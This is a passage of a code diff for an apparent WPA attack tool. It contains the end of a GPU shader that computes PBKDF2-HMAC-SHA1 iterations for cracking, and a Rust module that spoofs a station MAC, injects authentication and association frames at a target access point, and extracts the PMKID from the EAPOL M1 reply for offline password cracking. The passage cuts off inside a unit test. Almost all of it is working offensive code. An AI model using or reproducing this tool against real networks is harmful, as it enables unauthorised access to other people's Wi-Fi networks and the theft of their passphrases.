31u)); + let w18 = (((w15 ^ w10 ^ w4 ^ w2) << 1u) | ((w15 ^ w10 ^ w4 ^ w2) >> 31u)); + let w19 = (((w16 ^ w11 ^ w5 ^ w3) << 1u) | ((w16 ^ w11 ^ w5 ^ w3) >> 31u)); + let w20 = (((w17 ^ w12 ^ w6 ^ w4) << 1u) | ((w17 ^ w12 ^ w6 ^ w4) >> 31u)); + let w21 = (((w18 ^ w13 ^ w7 ^ w5) << 1u) | ((w18 ^ w13 ^ w7 ^ w5) >> 31u)); + let w22 = (((w19 ^ w14 ^ w8 ^ w6) << 1u) | ((w19 ^ w14 ^ w8 ^ w6) >> 31u)); + let w23 = (((w20 ^ w15 ^ w9 ^ w7) << 1u) | ((w20 ^ w15 ^ w9 ^ w7) >> 31u)); + let w24 = (((w21 ^ w16 ^ w10 ^ w8) << 1u) | ((w21 ^ w16 ^ w10 ^ w8) >> 31u)); + let w25 = (((w22 ^ w17 ^ w11 ^ w9) << 1u) | ((w22 ^ w17 ^ w11 ^ w9) >> 31u)); + let w26 = (((w23 ^ w18 ^ w12 ^ w10) << 1u) | ((w23 ^ w18 ^ w12 ^ w10) >> 31u)); + let w27 = (((w24 ^ w19 ^ w13 ^ w11) << 1u) | ((w24 ^ w19 ^ w13 ^ w11) >> 31u)); + let w28 = (((w25 ^ w20 ^ w14 ^ w12) << 1u) | ((w25 ^ w20 ^ w14 ^ w12) >> 31u)); + let w29 = (((w26 ^ w21 ^ w15 ^ w13) << 1u) | ((w26 ^ w21 ^ w15 ^ w13) >> 31u)); + let w30 = (((w27 ^ w22 ^ w16 ^ w14) << 1u) | ((w27 ^ w22 ^ w16 ^ w14) >> 31u)); + let w31 = (((w28 ^ w23 ^ w17 ^ w15) << 1u) | ((w28 ^ w23 ^ w17 ^ w15) >> 31u)); + let w32 = (((w29 ^ w24 ^ w18 ^ w16) << 1u) | ((w29 ^ w24 ^ w18 ^ w16) >> 31u)); + let w33 = (((w30 ^ w25 ^ w19 ^ w17) << 1u) | ((w30 ^ w25 ^ w19 ^ w17) >> 31u)); + let w34 = (((w31 ^ w26 ^ w20 ^ w18) << 1u) | ((w31 ^ w26 ^ w20 ^ w18) >> 31u)); + let w35 = (((w32 ^ w27 ^ w21 ^ w19) << 1u) | ((w32 ^ w27 ^ w21 ^ w19) >> 31u)); + let w36 = (((w33 ^ w28 ^ w22 ^ w20) << 1u) | ((w33 ^ w28 ^ w22 ^ w20) >> 31u)); + let w37 = (((w34 ^ w29 ^ w23 ^ w21) << 1u) | ((w34 ^ w29 ^ w23 ^ w21) >> 31u)); + let w38 = (((w35 ^ w30 ^ w24 ^ w22) << 1u) | ((w35 ^ w30 ^ w24 ^ w22) >> 31u)); + let w39 = (((w36 ^ w31 ^ w25 ^ w23) << 1u) | ((w36 ^ w31 ^ w25 ^ w23) >> 31u)); + let w40 = (((w37 ^ w32 ^ w26 ^ w24) << 1u) | ((w37 ^ w32 ^ w26 ^ w24) >> 31u)); + let w41 = (((w38 ^ w33 ^ w27 ^ w25) << 1u) | ((w38 ^ w33 ^ w27 ^ w25) >> 31u)); + let w42 = (((w39 ^ w34 ^ w28 ^ w26) << 1u) | ((w39 ^ w34 ^ w28 ^ w26) >> 31u)); + let w43 = (((w40 ^ w35 ^ w29 ^ w27) << 1u) | ((w40 ^ w35 ^ w29 ^ w27) >> 31u)); + let w44 = (((w41 ^ w36 ^ w30 ^ w28) << 1u) | ((w41 ^ w36 ^ w30 ^ w28) >> 31u)); + let w45 = (((w42 ^ w37 ^ w31 ^ w29) << 1u) | ((w42 ^ w37 ^ w31 ^ w29) >> 31u)); + let w46 = (((w43 ^ w38 ^ w32 ^ w30) << 1u) | ((w43 ^ w38 ^ w32 ^ w30) >> 31u)); + let w47 = (((w44 ^ w39 ^ w33 ^ w31) << 1u) | ((w44 ^ w39 ^ w33 ^ w31) >> 31u)); + let w48 = (((w45 ^ w40 ^ w34 ^ w32) << 1u) | ((w45 ^ w40 ^ w34 ^ w32) >> 31u)); + let w49 = (((w46 ^ w41 ^ w35 ^ w33) << 1u) | ((w46 ^ w41 ^ w35 ^ w33) >> 31u)); + let w50 = (((w47 ^ w42 ^ w36 ^ w34) << 1u) | ((w47 ^ w42 ^ w36 ^ w34) >> 31u)); + let w51 = (((w48 ^ w43 ^ w37 ^ w35) << 1u) | ((w48 ^ w43 ^ w37 ^ w35) >> 31u)); + let w52 = (((w49 ^ w44 ^ w38 ^ w36) << 1u) | ((w49 ^ w44 ^ w38 ^ w36) >> 31u)); + let w53 = (((w50 ^ w45 ^ w39 ^ w37) << 1u) | ((w50 ^ w45 ^ w39 ^ w37) >> 31u)); + let w54 = (((w51 ^ w46 ^ w40 ^ w38) << 1u) | ((w51 ^ w46 ^ w40 ^ w38) >> 31u)); + let w55 = (((w52 ^ w47 ^ w41 ^ w39) << 1u) | ((w52 ^ w47 ^ w41 ^ w39) >> 31u)); + let w56 = (((w53 ^ w48 ^ w42 ^ w40) << 1u) | ((w53 ^ w48 ^ w42 ^ w40) >> 31u)); + let w57 = (((w54 ^ w49 ^ w43 ^ w41) << 1u) | ((w54 ^ w49 ^ w43 ^ w41) >> 31u)); + let w58 = (((w55 ^ w50 ^ w44 ^ w42) << 1u) | ((w55 ^ w50 ^ w44 ^ w42) >> 31u)); + let w59 = (((w56 ^ w51 ^ w45 ^ w43) << 1u) | ((w56 ^ w51 ^ w45 ^ w43) >> 31u)); + let w60 = (((w57 ^ w52 ^ w46 ^ w44) << 1u) | ((w57 ^ w52 ^ w46 ^ w44) >> 31u)); + let w61 = (((w58 ^ w53 ^ w47 ^ w45) << 1u) | ((w58 ^ w53 ^ w47 ^ w45) >> 31u)); + let w62 = (((w59 ^ w54 ^ w48 ^ w46) << 1u) | ((w59 ^ w54 ^ w48 ^ w46) >> 31u)); + let w63 = (((w60 ^ w55 ^ w49 ^ w47) << 1u) | ((w60 ^ w55 ^ w49 ^ w47) >> 31u)); + let w64 = (((w61 ^ w56 ^ w50 ^ w48) << 1u) | ((w61 ^ w56 ^ w50 ^ w48) >> 31u)); + let w65 = (((w62 ^ w57 ^ w51 ^ w49) << 1u) | ((w62 ^ w57 ^ w51 ^ w49) >> 31u)); + let w66 = (((w63 ^ w58 ^ w52 ^ w50) << 1u) | ((w63 ^ w58 ^ w52 ^ w50) >> 31u)); + let w67 = (((w64 ^ w59 ^ w53 ^ w51) << 1u) | ((w64 ^ w59 ^ w53 ^ w51) >> 31u)); + let w68 = (((w65 ^ w60 ^ w54 ^ w52) << 1u) | ((w65 ^ w60 ^ w54 ^ w52) >> 31u)); + let w69 = (((w66 ^ w61 ^ w55 ^ w53) << 1u) | ((w66 ^ w61 ^ w55 ^ w53) >> 31u)); + let w70 = (((w67 ^ w62 ^ w56 ^ w54) << 1u) | ((w67 ^ w62 ^ w56 ^ w54) >> 31u)); + let w71 = (((w68 ^ w63 ^ w57 ^ w55) << 1u) | ((w68 ^ w63 ^ w57 ^ w55) >> 31u)); + let w72 = (((w69 ^ w64 ^ w58 ^ w56) << 1u) | ((w69 ^ w64 ^ w58 ^ w56) >> 31u)); + let w73 = (((w70 ^ w65 ^ w59 ^ w57) << 1u) | ((w70 ^ w65 ^ w59 ^ w57) >> 31u)); + let w74 = (((w71 ^ w66 ^ w60 ^ w58) << 1u) | ((w71 ^ w66 ^ w60 ^ w58) >> 31u)); + let w75 = (((w72 ^ w67 ^ w61 ^ w59) << 1u) | ((w72 ^ w67 ^ w61 ^ w59) >> 31u)); + let w76 = (((w73 ^ w68 ^ w62 ^ w60) << 1u) | ((w73 ^ w68 ^ w62 ^ w60) >> 31u)); + let w77 = (((w74 ^ w69 ^ w63 ^ w61) << 1u) | ((w74 ^ w69 ^ w63 ^ w61) >> 31u)); + let w78 = (((w75 ^ w70 ^ w64 ^ w62) << 1u) | ((w75 ^ w70 ^ w64 ^ w62) >> 31u)); + let w79 = (((w76 ^ w71 ^ w65 ^ w63) << 1u) | ((w76 ^ w71 ^ w65 ^ w63) >> 31u)); + var a = (*state_in)[0]; + var b = (*state_in)[1]; + var c = (*state_in)[2]; + var d = (*state_in)[3]; + var e = (*state_in)[4]; + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w0; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w1; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w2; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w3; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w4; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w5; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w6; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w7; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w8; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w9; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w10; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w11; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w12; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w13; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w14; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w15; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w16; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w17; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w18; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (~b & d)) + e + 0x5a827999u + w19; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w20; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w21; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w22; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w23; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w24; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w25; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w26; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w27; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w28; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w29; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w30; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w31; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w32; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w33; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w34; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w35; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w36; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w37; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w38; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0x6ed9eba1u + w39; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w40; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w41; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w42; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w43; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w44; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w45; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w46; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w47; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w48; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w49; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w50; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w51; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w52; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w53; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w54; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w55; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w56; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w57; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w58; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + ((b & c) | (b & d) | (c & d)) + e + 0x8f1bbcdcu + w59; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w60; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w61; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w62; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w63; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w64; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w65; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w66; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w67; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w68; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w69; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w70; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w71; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w72; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w73; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w74; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w75; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w76; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w77; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w78; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + { let tmp = ((a << 5u) | (a >> 27u)) + (b ^ c ^ d) + e + 0xca62c1d6u + w79; e = d; d = c; c = ((b << 30u) | (b >> 2u)); b = a; a = tmp; } + (*state_in)[0] = (*state_in)[0] + a; + (*state_in)[1] = (*state_in)[1] + b; + (*state_in)[2] = (*state_in)[2] + c; + (*state_in)[3] = (*state_in)[3] + d; + (*state_in)[4] = (*state_in)[4] + e; +} + +// Message block layout for HMAC of a 20-byte value after a 64-byte presalt +// midstate/absorbed prefix: x[0..5] || 0x80 || zeros || 32-bit BE bit-length. +fn hmac_block(u: ptr>, bitlen: u32) -> array { + var blk: array; + blk[0] = (*u)[0]; + blk[1] = (*u)[1]; + blk[2] = (*u)[2]; + blk[3] = (*u)[3]; + blk[4] = (*u)[4]; + blk[5] = 0x80000000u; + for (var i = 6u; i < 15u; i = i + 1u) { + blk[i] = 0u; + } + blk[15] = bitlen; + return blk; +} + +// U = HMAC(pad midstates, U) — two compressions. The message seen by each leg +// (after the absorbed 64-byte pad prefix) is 64 + 20 = 84 bytes = 672 bits. +fn hmac_mid(u: ptr>, ipad: ptr>, opad: ptr>) { + var in_state: array = *ipad; + var blk = hmac_block(u, 672u); + sha1_compress(&in_state, &blk); + + var out_state: array = *opad; + var blk2 = hmac_block(&in_state, 672u); + sha1_compress(&out_state, &blk2); + + *u = out_state; +} + +@compute @workgroup_size(64) +fn main(@builtin(global_invocation_id) gid: vec3) { + let idx = gid.x; + if idx >= arrayLength(&outputs) / 10u { + return; + } + + let base_in = idx * 20u; + var ipad: array; + var opad: array; + var u1: array; + var u2: array; + for (var i = 0u; i < 5u; i = i + 1u) { + ipad[i] = midstates[base_in + i]; + opad[i] = midstates[base_in + 5u + i]; + u1[i] = midstates[base_in + 10u + i]; + u2[i] = midstates[base_in + 15u + i]; + } + + let iterations = params.flags >> 1u; + + var t1 = u1; + var t2 = u2; + for (var i = 1u; i < iterations; i = i + 1u) { + hmac_mid(&u1, &ipad, &opad); + t1[0] = t1[0] ^ u1[0]; + t1[1] = t1[1] ^ u1[1]; + t1[2] = t1[2] ^ u1[2]; + t1[3] = t1[3] ^ u1[3]; + t1[4] = t1[4] ^ u1[4]; + hmac_mid(&u2, &ipad, &opad); + t2[0] = t2[0] ^ u2[0]; + t2[1] = t2[1] ^ u2[1]; + t2[2] = t2[2] ^ u2[2]; + t2[3] = t2[3] ^ u2[3]; + t2[4] = t2[4] ^ u2[4]; + } + + let base_out = idx * 10u; + for (var i = 0u; i < 5u; i = i + 1u) { + outputs[base_out + i] = t1[i]; + } + for (var i = 0u; i < 5u; i = i + 1u) { + outputs[base_out + 5u + i] = t2[i]; + } +} diff --git a/src/pmkid.rs b/src/pmkid.rs index e69de29..9826bb5 100644 --- a/src/pmkid.rs +++ b/src/pmkid.rs @@ -0,0 +1,171 @@ +//! Clientless PMKID grab: authenticate (open) + associate against `ap` +//! impersonating station MAC `sta`, then watch the wire for the AP's EAPOL +//! M1 carrying an RSN PMKID KDE (vendor 0xdd, OUI 00-0f-ac, subtype 4). + +use std::time::{Duration, Instant}; + +use anyhow::{Context, Result}; +use crossbeam_channel::Sender; + +use crate::common::{Event, MacAddr, PmkidCapture}; +use crate::dot11::{build_assoc_req, build_auth_open, parse_eapol, parse_eapol_key}; +use crate::radiotap::{INJECT_HDR, strip}; +use crate::rawsock::RawSocket; + +/// How long to watch for the M1 after associating. +const GRAB_WINDOW: Duration = Duration::from_secs(3); +/// Poll cadence on the socket. +const POLL_MS: u32 = 100; + +/// Extract the 16-byte PMKID from an EAPOL-Key `key_data` field by walking +/// its (vendor) IEs for KDE `dd 14 00 0f ac 04 <16 bytes>`. +pub(crate) fn extract_pmkid(key_data: &[u8]) -> Option<[u8; 16]> { + let mut cur = 0usize; + while let (Some(&id), Some(&len)) = (key_data.get(cur), key_data.get(cur + 1)) { + let len = len as usize; + let body = key_data.get(cur + 2..cur + 2 + len)?; + if id == 0xdd + && len >= 20 + && body[0..3] == [0x00, 0x0f, 0xac] + && body[3] == 4 + { + return body.get(4..20)?.try_into().ok(); + } + cur += 2 + len; + } + None +} + +fn send_frame(sock: &RawSocket, frame: &[u8]) -> Result<()> { + let mut buf = Vec::with_capacity(INJECT_HDR.len() + frame.len()); + buf.extend_from_slice(&INJECT_HDR); + buf.extend_from_slice(frame); + sock.send(&buf).context("pmkid: injecting frame")?; + Ok(()) +} + +/// Single PMKID grab attempt against `ap` as `sta`; `essid` fills the +/// capture (and the association-request SSID IE). Returns `Ok(None)` on +/// timeout — the AP simply didn't volunteer a PMKID. +pub fn grab( + sock: &RawSocket, + ap: &MacAddr, + sta: &MacAddr, + essid: &str, + tx: &Sender, +) -> Result> { + sock.set_timeout(POLL_MS).context("pmkid: set_timeout")?; + + send_frame(sock, &build_auth_open(ap, sta, 1))?; + let _ = tx.send(Event::Log(format!("pmkid: open-auth sent to {ap}"))); + send_frame(sock, &build_assoc_req(ap, sta, essid.as_bytes()))?; + let _ = tx.send(Event::Log(format!("pmkid: assoc-req sent to {ap}"))); + + let deadline = Instant::now() + GRAB_WINDOW; + let mut buf = vec![0u8; 4096]; + while Instant::now() < deadline { + match sock.recv(&mut buf) { + Ok(n) => { + let Some((_meta, frame)) = strip(&buf[..n]) else { + continue; + }; + // addr1 (receiver, at offset 4 of any 802.11 header) must + // be us or broadcast; the bssid side must be the target AP. + if frame.len() >= 10 { + let addr1 = MacAddr(frame[4..10].try_into().expect("6-byte slice")); + if addr1 != *sta && !addr1.is_broadcast() { + continue; + } + } + let Some((bssid, _ap_is_sender, eapol)) = parse_eapol(frame) else { + continue; + }; + if bssid != *ap { + continue; + } + let Some(key) = parse_eapol_key(eapol) else { + continue; + }; + // M1 shape: ACK set, MIC not yet set. + if !(key.key_ack && !key.key_mic) { + continue; + } + if let Some(pmkid) = extract_pmkid(key.key_data) { + return Ok(Some(PmkidCapture { + ap: *ap, + client: *sta, + essid: essid.to_string(), + pmkid, + })); + } + } + Err(e) + if e.kind() == std::io::ErrorKind::WouldBlock + || e.kind() == std::io::ErrorKind::TimedOut => + { + continue; // poll again until the deadline + } + Err(e) if e.kind() == std::io::ErrorKind::Interrupted => continue, + Err(e) => return Err(e).context("pmkid: recv failed"), + } + } + Ok(None) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn extract_pmkid_finds_rsn_kde() { + // dd 14 00 0f ac 04 <16-byte pmkid> + let mut kd = vec![0xdd, 0x14, 0x00, 0x0f, 0xac, 0x04]; + let pmkid = [0xabu8; 16]; + kd.extend_from_slice(&pmkid); + 